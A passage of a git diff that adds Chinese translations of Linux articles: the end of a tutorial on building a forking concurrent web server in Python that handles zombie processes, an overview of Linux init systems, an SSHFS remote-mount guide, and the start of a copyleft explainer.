8 +POSIX message queues (bytes, -q) 819200 +real-time priority (-r) 0 +stack size (kbytes, -s) 8192 +cpu time (seconds, -t) unlimited +max user processes (-u) 3842 +virtual memory (kbytes, -v) unlimited +file locks (-x) unlimited +``` + +你可以从上面的结果看到,在我的 Ubuntu 机器中,系统为我的服务器进程分配的最大可用文件描述符(文件打开)数为 1024。 + +现在我们来看一看,如果你的服务器不关闭重复的描述符,它会如何消耗可用的文件描述符。在一个已有的或新建的终端窗口中,将你的服务器进程的最大可用文件描述符设为 256: + +``` +$ ulimit -n 256 +``` + +在你刚刚运行 `ulimit -n 256` 的终端窗口中运行服务器 `webserver3d.py`: + +``` +$ python webserver3d.py +``` + +然后使用下面的客户端 `client3.py` 来测试你的服务器。 + +``` +####################################################### +# 测试客户端 - client3.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +####################################################### +import argparse +import errno +import os +import socket + + +SERVER_ADDRESS = 'localhost', 8888 +REQUEST = b"""\ +GET /hello HTTP/1.1 +Host: localhost:8888 + +""" + + +def main(max_clients, max_conns): + socks = [] + for client_num in range(max_clients): + pid = os.fork() + if pid == 0: + for connection_num in range(max_conns): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect(SERVER_ADDRESS) + sock.sendall(REQUEST) + socks.append(sock) + print(connection_num) + os._exit(0) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser( + description='Test client for LSBAWS.', + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + ) + parser.add_argument( + '--max-conns', + type=int, + default=1024, + help='Maximum number of connections per client.' + ) + parser.add_argument( + '--max-clients', + type=int, + default=1, + help='Maximum number of clients.' + ) + args = parser.parse_args() + main(args.max_clients, args.max_conns) +``` + +在一个新建的终端窗口中,运行 `client3.py` 然后让它与服务器同步创建 300 个连接: + +``` +$ python client3.py --max-clients=300 +``` + +过一会,你的服务器进程就该爆了。这是我的环境中出现的异常截图: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_too_many_fds_exc.png) + +这个例子很明显——你的服务器应该关闭描述符副本。 + +#### 僵尸进程 + +但是,即使你关闭了描述符副本,你依然没有摆脱险境,因为你的服务器还有一个问题,这个问题在于“僵尸(zombies)”! + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_zombies.png) + +没错,这个服务器代码确实在制造僵尸进程。我们来看看怎么回事。重新运行你的服务器: + +``` +$ python webserver3d.py +``` + +在另一个终端窗口中运行以下 `curl` 命令: + +``` +$ curl http://localhost:8888/hello +``` + +现在,运行 `ps` 环境,来查看正在运行的 Python 进程。下面是我的环境中 `ps` 的运行结果: + +``` +$ ps auxw | grep -i python | grep -v grep +vagrant 9099 0.0 1.2 31804 6256 pts/0 S+ 16:33 0:00 python webserver3d.py +vagrant 9102 0.0 0.0 0 0 pts/0 Z+ 16:33 0:00 [python] +``` + +你看到第二行中,pid 为 9102,状态为 `Z+`,名字里面有个 `` 的进程了吗?那就是我们的僵尸进程。这个僵尸进程的问题在于:你无法将它杀掉! + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_kill_zombie.png) + +就算你尝试使用 `kill -9` 来杀死僵尸进程,它们仍旧会存活。自己试试看,看看结果。 + +这个僵尸到底是什么,为什么我们的服务器会造出它们呢?一个僵尸进程(zombie)是一个已经结束的进程,但它的父进程并没有等待(`waited`)它结束,并且也没有收到它的终结状态。如果一个进程在父进程退出之前退出,系统内核会把它变为一个僵尸进程,存储它的部分信息,以便父进程读取。内核保存的进程信息通常包括进程 ID、进程终止状态,以及进程的资源占用情况。OK,所以僵尸进程确实有存在的意义,但如果服务器不管这些僵尸进程,你的系统将会被壅塞。我们来看看这个会如何发生。首先,关闭你运行的服务器;然后,在一个新的终端窗口中,使用 `ulimit` 命令将最大用户进程数设为 400(同时,要确保你的最大可用描述符数大于这个数字,我们在这里设为 500): + +``` +$ ulimit -u 400 +$ ulimit -n 500 +``` + +在你刚刚运行 `ulimit -u 400` 命令的终端中,运行服务器 `webserver3d.py`: + +``` +$ python webserver3d.py +``` + +在一个新的终端窗口中,运行 `client3.py`,并且让它与服务器同时创建 500 个连接: + +``` +$ python client3.py --max-clients=500 +``` + +然后,过一会,你的服务器进程应该会再次爆了,它会在创建新进程时抛出一个 `OSError: 资源暂时不可用` 的异常。但它并没有达到系统允许的最大进程数。这是我的环境中输出的异常信息截图: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_resource_unavailable.png) + +你可以看到,如果服务器不管僵尸进程,它们会引发问题。接下来我会简单探讨一下僵尸进程问题的解决方案。 + +我们来回顾一下你刚刚掌握的知识点: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_checkpoint.png) + +- 如果你不关闭文件描述符副本,客户端就不会在请求处理完成后终止,因为客户端连接没有被关闭; +- 如果你不关闭文件描述符副本,长久运行的服务器最终会把可用的文件描述符(最大文件打开数)消耗殆尽; +- 当你创建一个新进程,而父进程不等待(`wait`)子进程,也不在子进程结束后收集它的终止状态,它会变为一个僵尸进程; +- 僵尸通常都会吃东西,在我们的例子中,僵尸进程会吃掉资源。如果你的服务器不管僵尸进程,它最终会消耗掉所有的可用进程(最大用户进程数); +- 你不能杀死(`kill`)僵尸进程,你需要等待(`wait`)它。 + +### 如何处理僵尸进程? + +所以,你需要做什么来处理僵尸进程呢?你需要修改你的服务器代码,来等待(`wait`)僵尸进程,并收集它们的终止信息。你可以在代码中使用系统调用 `wait` 来完成这个任务。不幸的是,这个方法离理想目标还很远,因为在没有终止的子进程存在的情况下调用 `wait` 会导致服务器进程阻塞,这会阻碍你的服务器处理新的客户端连接请求。那么,我们有其他选择吗?嗯,有的,其中一个解决方案需要结合信号处理以及 `wait` 系统调用。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc4_signaling.png) + +这是它的工作流程。当一个子进程退出时,内核会发送 `SIGCHLD` 信号。父进程可以设置一个信号处理器,它可以异步响应 `SIGCHLD` 信号,并在信号响应函数中等待(`wait`)子进程收集终止信息,从而阻止了僵尸进程的存在。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part_conc4_sigchld_async.png) + +顺便说一下,异步事件意味着父进程无法提前知道事件的发生时间。 + +修改你的服务器代码,设置一个 `SIGCHLD` 信号处理器,在信号处理器中等待(`wait`)终止的子进程。修改后的代码如下(webserver3e.py): + +``` +####################################################### +# 并发服务器 - webserver3e.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +####################################################### +import os +import signal +import socket +import time + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 5 + + +def grim_reaper(signum, frame): + pid, status = os.wait() + print( + 'Child {pid} terminated with status {status}' + '\n'.format(pid=pid, status=status) + ) + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + ### 挂起进程,来允许父进程完成循环,并在 "accept" 处阻塞 + time.sleep(3) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + signal.signal(signal.SIGCHLD, grim_reaper) + + while True: + client_connection, client_address = listen_socket.accept() + pid = os.fork() + if pid == 0: ### 子进程 + listen_socket.close() ### 关闭子进程中多余的套接字 + handle_request(client_connection) + client_connection.close() + os._exit(0) + else: ### 父进程 + client_connection.close() + +if __name__ == '__main__': + serve_forever() +``` + +运行服务器: + +``` +$ python webserver3e.py +``` + +使用你的老朋友——`curl` 命令来向修改后的并发服务器发送一个请求: + +``` +$ curl http://localhost:8888/hello +``` + +再来看看服务器: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc4_eintr.png) + +刚刚发生了什么?`accept` 调用失败了,错误信息为 `EINTR`。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc4_eintr_error.png) + +当子进程退出并触发 `SIGCHLD` 事件时,父进程的 `accept` 调用被阻塞了,系统转去运行信号处理器,当信号处理函数完成时,`accept` 系统调用被打断: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc4_eintr_accept.png) + +别担心,这个问题很好解决。你只需要重新运行 `accept` 系统调用即可。这是修改后的服务器代码 `webserver3f.py`,它可以解决这个问题: + + +``` +####################################################### +# 并发服务器 - webserver3f.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +####################################################### +import errno +import os +import signal +import socket + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 1024 + + +def grim_reaper(signum, frame): + pid, status = os.wait() + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + signal.signal(signal.SIGCHLD, grim_reaper) + + while True: + try: + client_connection, client_address = listen_socket.accept() + except IOError as e: + code, msg = e.args + ### 若 'accept' 被打断,那么重启它 + if code == errno.EINTR: + continue + else: + raise + + pid = os.fork() + if pid == 0: ### 子进程 + listen_socket.close() ### 关闭子进程中多余的描述符 + handle_request(client_connection) + client_connection.close() + os._exit(0) + else: ### 父进程 + client_connection.close() ### 关闭父进程中多余的描述符,继续下一轮循环 + + +if __name__ == '__main__': + serve_forever() +``` + +运行更新后的服务器 `webserver3f.py`: + +``` +$ python webserver3f.py +``` + +用 `curl` 来向更新后的并发服务器发送一个请求: + +``` +$ curl http://localhost:8888/hello +``` + +看到了吗?没有 EINTR 异常出现了。现在检查一下,确保没有僵尸进程存活,调用 `wait` 函数的 `SIGCHLD` 信号处理器能够正常处理被终止的子进程。我们只需使用 `ps` 命令,然后看看现在没有处于 `Z+` 状态(或名字包含 `` )的 Python 进程就好了。很棒!僵尸进程没有了,我们很安心。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_checkpoint.png) + +- 如果你创建了一个子进程,但是不等待它,它就会变成一个僵尸进程; +- 使用 `SIGCHLD` 信号处理器可以异步地等待子进程终止,并收集其终止状态; +- 当使用事件处理器时,你需要牢记,系统调用可能会被打断,所以你需要处理这种情况发生时带来的异常。 + +#### 正确处理 SIGCHLD 信号 + +好的,一切顺利。是不是没问题了?额,几乎是。重新尝试运行 `webserver3f.py` 但我们这次不会只发送一个请求,而是同步创建 128 个连接: + +``` +$ python client3.py --max-clients 128 +``` + +现在再次运行 `ps` 命令: + +``` +$ ps auxw | grep -i python | grep -v grep +``` + +看到了吗?天啊,僵尸进程又出来了! + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc5_zombies_again.png) + +这回怎么回事?当你同时运行 128 个客户端,建立 128 个连接时,服务器的子进程几乎会在同一时间处理好你的请求,然后退出。这会导致非常多的 `SIGCHLD` 信号被发送到父进程。问题在于,这些信号不会存储在队列中,所以你的服务器进程会错过很多信号,这也就导致了几个僵尸进程处于无主状态: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc5_signals_not_queued.png) + +这个问题的解决方案依然是设置 `SIGCHLD` 事件处理器。但我们这次将会用 `WNOHANG` 参数循环调用 `waitpid` 来替代 `wait`,以保证所有处于终止状态的子进程都会被处理。下面是修改后的代码,`webserver3g.py`: + +``` +####################################################### +# 并发服务器 - webserver3g.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +####################################################### +import errno +import os +import signal +import socket + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 1024 + + +def grim_reaper(signum, frame): + while True: + try: + pid, status = os.waitpid( + -1, ### 等待所有子进程 + os.WNOHANG ### 无终止进程时,不阻塞进程,并抛出 EWOULDBLOCK 错误 + ) + except OSError: + return + + if pid == 0: ### 没有僵尸进程存在了 + return + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + signal.signal(signal.SIGCHLD, grim_reaper) + + while True: + try: + client_connection, client_address = listen_socket.accept() + except IOError as e: + code, msg = e.args + ### 若 'accept' 被打断,那么重启它 + if code == errno.EINTR: + continue + else: + raise + + pid = os.fork() + if pid == 0: ### 子进程 + listen_socket.close() ### 关闭子进程中多余的描述符 + handle_request(client_connection) + client_connection.close() + os._exit(0) + else: ### 父进程 + client_connection.close() ### 关闭父进程中多余的描述符,继续下一轮循环 + +if __name__ == '__main__': + serve_forever() +``` + +运行服务器: + +``` +$ python webserver3g.py +``` + +使用测试客户端 `client3.py`: + +``` +$ python client3.py --max-clients 128 +``` + +现在来查看一下,确保没有僵尸进程存在。耶!没有僵尸的生活真美好 `^_^`。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc5_no_zombies.png) + +### 大功告成 + +恭喜!你刚刚经历了一段很长的旅程,我希望你能够喜欢它。现在你拥有了自己的简易并发服务器,并且这段代码能够为你在继续研究生产级 Web 服务器的路上奠定基础。 + +我将会留一个作业:你需要将第二部分中的 WSGI 服务器升级,将它改造为一个并发服务器。你可以在[这里][12]找到更改后的代码。但是,当你实现了自己的版本之后,你才应该来看我的代码。你已经拥有了实现这个服务器所需的所有信息。所以,快去实现它吧 `^_^`。 + +然后要做什么呢?乔希·比林斯说过: + +> “就像一枚邮票一样——专注于一件事,不达目的不罢休。” + +开始学习基本知识。回顾你已经学过的知识。然后一步一步深入。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_dig_deeper.png) + +> “如果你只学会了方法,你将会被这些方法所困。但如果你学会了原理,那你就能发明出新的方法。”——拉尔夫·沃尔多·爱默生 + +下面是一份书单,我从这些书中提炼出了这篇文章所需的素材。他们能助你在我刚刚所述的几个方面中发掘出兼具深度和广度的知识。我极力推荐你们去搞到这几本书看看:从你的朋友那里借,在当地的图书馆中阅读,或者直接在亚马逊上把它买回来。下面是我的典藏秘籍: + +1. [《UNIX 网络编程 卷1:套接字联网 API (第3版)》][6] +2. [《UNIX 环境高级编程(第3版)》][7] +3. [《Linux/UNIX 系统编程手册》][8] +4. [《TCP/IP 详解 卷1:协议(第2版)][9] +5. [《信号系统简明手册 (第二版): 并发控制深入浅出及常见错误》][10],这本书也可以从[作者的个人网站][11]中免费下载到。 + +顺便,我在撰写一本名为《搭个 Web 服务器:从头开始》的书。这本书讲解了如何从头开始编写一个基本的 Web 服务器,里面包含本文中没有的更多细节。订阅[原文下方的邮件列表][13],你就可以获取到这本书的最新进展,以及发布日期。 + +-------------------------------------------------------------------------------- + +via: https://ruslanspivak.com/lsbaws-part3/ + +作者:[Ruslan][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/rspivak/ + +[1]: https://github.com/rspivak/lsbaws/blob/master/part3/ +[2]: https://github.com/rspivak/lsbaws/blob/master/part3/webserver3a.py +[3]: https://github.com/rspivak/lsbaws/blob/master/part3/webserver3b.py +[4]: http://www.epubit.com.cn/book/details/1692 +[5]: http://www.amazon.com/gp/product/1441418687/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1441418687&linkCode=as2&tag=russblo0b-20&linkId=QFOAWARN62OWTWUG +[6]: http://www.epubit.com.cn/book/details/1692 +[7]: http://www.epubit.com.cn/book/details/1625 +[8]: http://www.epubit.com.cn/book/details/1432 +[9]: http://www.epubit.com.cn/book/details/4232 +[10]: http://www.amazon.com/gp/product/1441418687/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1441418687&linkCode=as2&tag=russblo0b-20&linkId=QFOAWARN62OWTWUG +[11]: http://greenteapress.com/semaphores/ +[12]: https://github.com/rspivak/lsbaws/blob/master/part3/webserver3h.py +[13]: https://ruslanspivak.com/lsbaws-part1/ \ No newline at end of file diff --git a/published/201610/20160811 5 best linux init system.md b/published/201610/20160811 5 best linux init system.md new file mode 100644 index 0000000000..df16c0ea6c --- /dev/null +++ b/published/201610/20160811 5 best linux init system.md @@ -0,0 +1,103 @@ +现代 Linux 的五大初始化系统(1992-2015) +============================================ + +在 Linux 和其他类 Uniux 系统中,init(初始化)进程是系统启动时由内核执行的第一个进程,其进程 ID(PID)为 1,并静默运行在后台,直到系统关闭。 + +init 进程负责启动其他所有的进程,比如守护进程、服务和其他后台进程,因此,它是系统中其它所有进程之母(偏偏叫做“父进程”)。某个进程可以启动许多个子进程,但在这个过程中,某个子进程的父进程结束之后,该子进程的父进程会变成 init 进程。 + +![](http://www.tecmint.com/wp-content/uploads/2016/08/Linux-init-Systems.png) + +这么多年过去了,许多的初始化系统在主流 Linux 脱颖而出,和本文中,我将你来看看在 Linux 操作系统最好的初始化系统。 + +### 1. System V Init + +System V (SysV) 是一个在类 Unix 系统中最为成熟而且大受欢迎的初始化方案,是 Unix/Linux 系统中所有进程的父进程。SysV 是第一个商业 Unix 系统设计的初始化方案。 + +除了 Gentoo 使用自主的初始化系统、Slackware 使用 BSD 风格的初始化方案外,几乎所有的 Linux 发行版都率先使用 SysV 作为初始化方案。 + +随着时间的推移,由于一些设计上的缺陷,有几个 SysV 初始化替换方案已经开发出来,用以为 Linux 创建更加高效和完美的初始化系统。 + +尽管这些替代方案都超越了 SysV 并提供了更多新特性,但它们仍然和原始 SysV 初始化脚本保持兼容。 + +### 2. SystemD + +SystemD 是一个 Linux 平台中相对较新的初始化方案。它由 Fedora 15 引入,集成了各类工具以便更好的管理系统。主要目的是:系统初始化、管理和跟踪引导进程中和系统运行时所有的系统进程。 + +Systemd 全面有别于其他传统的 Unix 初始化系统,特别是在启动系统和服务管理方面。它同样兼容 SysV 和 LBS 初始化脚本。 + +其中较为突出的特性如下: + +- 纯粹、简单、高效的设计 +- 启动时的并发和并行处理 +- 更好的 API +- 开启可选进程的移除功能 +- 使用 journald 来支持事件日志 +- 使用 systemd calender timers 来支持任务计划 +- 以二进制文件存储日志 +- 保存 systemd 的状态以待今后查看 +- 与 GNOME 更好整合实现等 + +查看 Systemd 初始化系统简介: + +### 3. Upstart + +Upstart 是一个基于事件的初始化系统,由 Ubuntu 的制作团队开发的,用以替代 SysV。它可以启动不同的系统任务和进程、在系统运行时校验进程并在系统关闭时结束进程。 + +它是一个使用 SysV 和 Systemd 启动脚本的混合初始化系统,Upstart 中值得一提的特性如下: + +- Ubuntu 的原生初始化系统,但可以运行在其他所有的发行版中 +- 基于事件启动/结束的任务和服务 +- 启动/结束任务和服务时生成事件 +- 可以由其他系统进程发送事件 +- 使用 D-Bus 和 init 进程通信 +- 用户可以启动/结束其各自的进程 +- 可以再现崩溃的进程等 + +访问 Upstart 主页: + +### 4. OpenRC + +OpenRC 是一个基于依赖关系的类 Unix 系统初始化方案,兼容 SysV。基本可以说是 SysV 的升级版,但必须要清楚记住的是:OpenRC 并非只是完全替代 /sbin/init 文件。 + +它所提供的出色特性如下: + +- 可运行在包括 Gentoo 和 BSD 在内的多数 Linux 系统之中 +- 支持硬件触发的初始化脚本(LCTT 译注:如硬件热插拔所触发的) +- 支持单个配置文件 +- 不支持单个服务配置文件 +- 以守护进程的方式运行 +- 并行服务启动等 + +访问 OpenRC 主页: + +### 5. runit + +runit 同样是一个跨平台初始化系统,可以运行在 GNU/Linux、Solaris、BSD 和 Mac OS X 中,用替代 SysV,同时提供服务监控。 + +相比于 SysV 和其他 Linux 初始化系统,它提供了一些好用和卓越的组件,如下: + +- 服务监控:每个服务都关联一个服务目录 +- 清理进程状态,以保证每个进程处于干净状态 +- 可靠的日志机制 +- 快速的系统启动和关闭 +- 可移植 +- 打包方便 +- 代码体积小等 + +访问 runit 主页: + +正如我之前所说的,Linux 中的初始化系统负责启动和管理所有的进程。此外,SysV 是 Linux 系统中主要的初始化系统,但由于一些性能缺陷,系统开发者已经开发出几个替代品。 + +在这里,我已经介绍了几个可用的替代方案,但你可能觉得有一些其他的初始化系统值得在此提及。请在下方的评论区将你的想法告诉我们。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/best-linux-init-systems/ + +作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) +译者:[GHLandy](https://github.com/GHLandy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + + diff --git a/published/201610/20160811 How to Mount Remote Linux Filesystem or Directory Using SSHFS Over SSH.md b/published/201610/20160811 How to Mount Remote Linux Filesystem or Directory Using SSHFS Over SSH.md new file mode 100755 index 0000000000..5d63f8ee30 --- /dev/null +++ b/published/201610/20160811 How to Mount Remote Linux Filesystem or Directory Using SSHFS Over SSH.md @@ -0,0 +1,147 @@ +如何使用 SSHFS 通过 SSH 挂载远程的 Linux 文件系统或者目录 +============================ + +写这篇文章的主要目的就是提供一步一步的指导,关于如何使用 SSHFS 通过 SSH 挂载远程的 Linux 文件系统或目录。 + +这篇文章对于那些无论出于什么目的,希望在他们本地的系统中挂载远程的文件系统的用户或者系统管理员有帮助。我们通过 Linux 系统中的一个安装了 SSHFS 客户端进行实际测试,并且成功的挂载了远程的文件系统。 + +在我们进一步安装之前,让我们了解一下 SSHFS 的相关内容,以及它是如何工作的。 + +![](http://www.tecmint.com/wp-content/uploads/2012/08/Sshfs-Mount-Remote-Linux-Filesystem-Directory.png) +*Sshfs 挂载远程的 Linux 文件系统或者目录* + +### 什么是 SSHFS? + +SSHFS(Secure SHell FileSystem)是一个客户端,可以让我们通过 SSH 文件传输协议(SFTP)挂载远程的文件系统并且在本地机器上和远程的目录和文件进行交互。 + +SFTP 是一种通过 SSH 协议提供文件访问、文件传输和文件管理功能的安全文件传输协议。因为 SSH 在网络中从一台电脑到另一台电脑传输文件的时候使用数据加密通道,并且 SSHFS 内置在 FUSE(用户空间的文件系统)内核模块,允许任何非特权用户在不修改内核代码的情况下创建他们自己的文件系统。 + +在这篇文章中,我们将会向你展示在任意 Linux 发行版上如何安装并且使用 SSHFS 客户端,在本地 Linux 机器上挂载远程的 Linux 文件系统或者目录。 + +#### 步骤1:在 Linux 系统上安装 SSHFS + +默认情况下,sshfs 包不存在所有的主流 Linux 发行版中,你需要在你的 Linux 系统中启用 [epel 仓库][1],在 Yum 命令行的帮助下安装 SSHFS 及其依赖。 + +``` +# yum install sshfs +# dnf install sshfs 【在 Fedora 22+ 发行版上】 +$ sudo apt-get install sshfs 【基于 Debian/Ubuntu 的系统】 +``` + +#### 步骤2:创建 SSHFS 挂载目录 + +当你安装 SSHFS 包之后,你需要创建一个挂载点目录,在这儿你将要挂载你的远程文件系统。例如,我们在 /mnt/tecmint 下创建挂载目录。 + +``` +# mkdir /mnt/tecmint +$ sudo mkdir /mnt/tecmint 【基于 Debian/Ubuntu 的系统】 +``` + +### 步骤 3:使用 SSHFS 挂载远程的文件系统 + +当你已经创建你的挂载点目录之后,现在使用 root 用户运行下面的命令行,在 /mnt/tecmint 目录下挂载远程的文件系统。视你的情况挂载目录可以是任何目录。 + +下面的命令行将会在本地的 /mnt/tecmint 目录下挂载一个叫远程的一个 /home/tecmint 目录。(不要忘了使用你的 IP 地址和挂载点替换 x.x.x.x)。 + +``` +# sshfs tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint +$ sudo sshfs -o allow_other tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint 【基于 Debian/Ubuntu 的系统】 +``` + +如果你的 Linux 服务器配置为基于 SSH 密钥授权,那么你将需要使用如下所示的命令行指定你的公共密钥的路径。 + +``` +# sshfs -o IdentityFile=~/.ssh/id_rsa tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint +$ sudo sshfs -o allow_other,IdentityFile=~/.ssh/id_rsa tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint 【基于 Debian/Ubuntu 的系统】 +``` + +#### 步骤 4:验证远程的文件系统挂载成功 + +如果你已经成功的运行了上面的命令并且没有任何错误,你将会看到挂载在 /mnt/tecmint 目录下的远程的文件和目录的列表 + +``` +# cd /mnt/tecmint +# ls +[root@ tecmint]# ls +12345.jpg ffmpeg-php-0.6.0.tbz2 Linux news-closeup.xsl s3.jpg +cmslogs gmd-latest.sql.tar.bz2 Malware newsletter1.html sshdallow +epel-release-6-5.noarch.rpm json-1.2.1 movies_list.php pollbeta.sql +ffmpeg-php-0.6.0 json-1.2.1.tgz my_next_artical_v2.php pollbeta.tar.bz2 +``` + +#### 步骤 5:使用 df -hT 命令检查挂载点 + +如果你运行 df -hT命令,你将会看到远程文件系统的挂载点。 + +``` +# df -hT +``` + +样本输出: + +``` +Filesystem Type Size Used Avail Use% Mounted on +udev devtmpfs 730M 0 730M 0% /dev +tmpfs tmpfs 150M 4.9M 145M 4% /run +/dev/sda1 ext4 31G 5.5G 24G 19% / +tmpfs tmpfs 749M 216K 748M 1% /dev/shm +tmpfs tmpfs 5.0M 4.0K 5.0M 1% /run/lock +tmpfs tmpfs 749M 0 749M 0% /sys/fs/cgroup +tmpfs tmpfs 150M 44K 150M 1% /run/user/1000 +tecmint@192.168.0.102:/home/tecmint fuse.sshfs 324G 55G 253G 18% /mnt/tecmint +``` + +#### 步骤 6:永久挂载远程文件系统 + +为了永久的挂载远程的文件系统,你需要修改一个叫 `/etc/fstab` 的文件。照着做,使用你最喜欢的编辑器打开文件。 + +``` +# vi /etc/fstab +$ sudo vi /etc/fstab 【基于 Debian/Ubuntu 的系统】 +``` + +移动到文件的底部并且添加下面的一行,保存文件并退出。下面条目表示使用默认的设置挂载远程的文件系统。 + +``` +sshfs#tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint fuse.sshfs defaults 0 0 +``` + +确保服务器之间允许 [SSH 无密码登录][2],这样系统重启之后才能自动挂载文件系统。 + +如果你的服务器配置为基于 SSH 密钥的认证方式,请加入如下行: + +``` +sshfs#tecmint@x.x.x.x:/home/tecmint/ /mnt/tecmint fuse.sshfs IdentityFile=~/.ssh/id_rsa defaults 0 0 +``` + +接下来,你需要更新 fstab 文件使修改生效。 + +``` +# mount -a +$ sudo mount -a 【基于 Debian/Ubuntu 的系统】 +``` + +#### 步骤 7:卸载远程的文件系统 + +为了卸载远程的文件系统,只需要发出以下的命令即可。 + +``` +# umount /mnt/tecmint +``` + +目前为止就这样了,如果你在挂载远程文件系统的时候遇到任何问题或者需要任何帮助,请通过评论联系我们,如果你感觉这篇文章非常有用,请分享给你的朋友们。 + + +------------------------------------------------------------------------------- + +via: http://www.tecmint.com/sshfs-mount-remote-linux-filesystem-directory-using-ssh/ + +作者:[Ravi Saive][a] +译者:[yangmingming](https://github.com/yangmingming) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/admin/ +[1]: https://linux.cn/article-2324-1.html +[2]: https://linux.cn/article-5444-1.html diff --git a/published/201610/20160812 What is copyleft.md b/published/201610/20160812 What is copyleft.md new file mode 100755 index 0000000000..e227af1b3d --- /dev/null +++ b/published/201610/20160812 What is copyleft.md @@ -0,0 +1,59 @@ +什么是 Copyleft ? +============= + +如果你在开源项目中花费了很多时间的话,你可能会看到使用的术语 “copyleft”(GNU 官方网站上的释义:[中文][1],[英文][2])。虽然这个术语使用比较普遍,但是很多人却不理解它。软件许可是一个至少不亚于文件编辑器和打包格式的激烈辩论的主题。专家们对 copyleft 的理解可能会充斥在好多书中,但是这篇文章可以作为你理解 copyleft 启蒙之路的起点。 + +### 什么是 copyright? + +在我们可以理解 copyleft 之前,我们必须先介绍一下 copyright 的概念。copyleft 并不是一个脱离于 copyright 的法律框架,copyleft 存在于 copyright 规则中。那么,什么是 copyright? + +它的准确定义随着司法权的不同而不同,但是其本质就是:作品的作者对于作品的复制(copying)(因此这个术语称之为 “copyright”:copy right)、表现等有一定的垄断性。在美国,其宪法明确地阐述了美国国会的任务就是制定版权法律来“促进科学和实用艺术的进步”。 + +不同于以往,版权会立刻附加到作品上——而且不需要注册。默认情况下,所有的权力都是保留的。也就是说,没有经过作者的允许,没有人可以重新出版、表现或者修改作品。这种“允许”就是一种许可,可能还会附加有一定的条件。 + +如果希望得到对于 copyright 更彻底的介绍,Coursera 上的[教育工作者和图书管理员的著作权](https://www.coursera.org/learn/copyright-for-education)是一个非常优秀的课程。 + +### 什么是 copyleft? + +先不要着急,在我们讨论 copyleft 是什么之前,还有一步。首先,让我们解释一下开源(open source)意味着什么。所有的开源许可协议,按照[开源倡议的定义(Open Source Inititative's definition)](https://opensource.org/osd)(规定),除其他形式外,必须以源码的形式发放。获得开源软件的任何人都有权利查看并修改源码。 + +copyleft 许可和所谓的 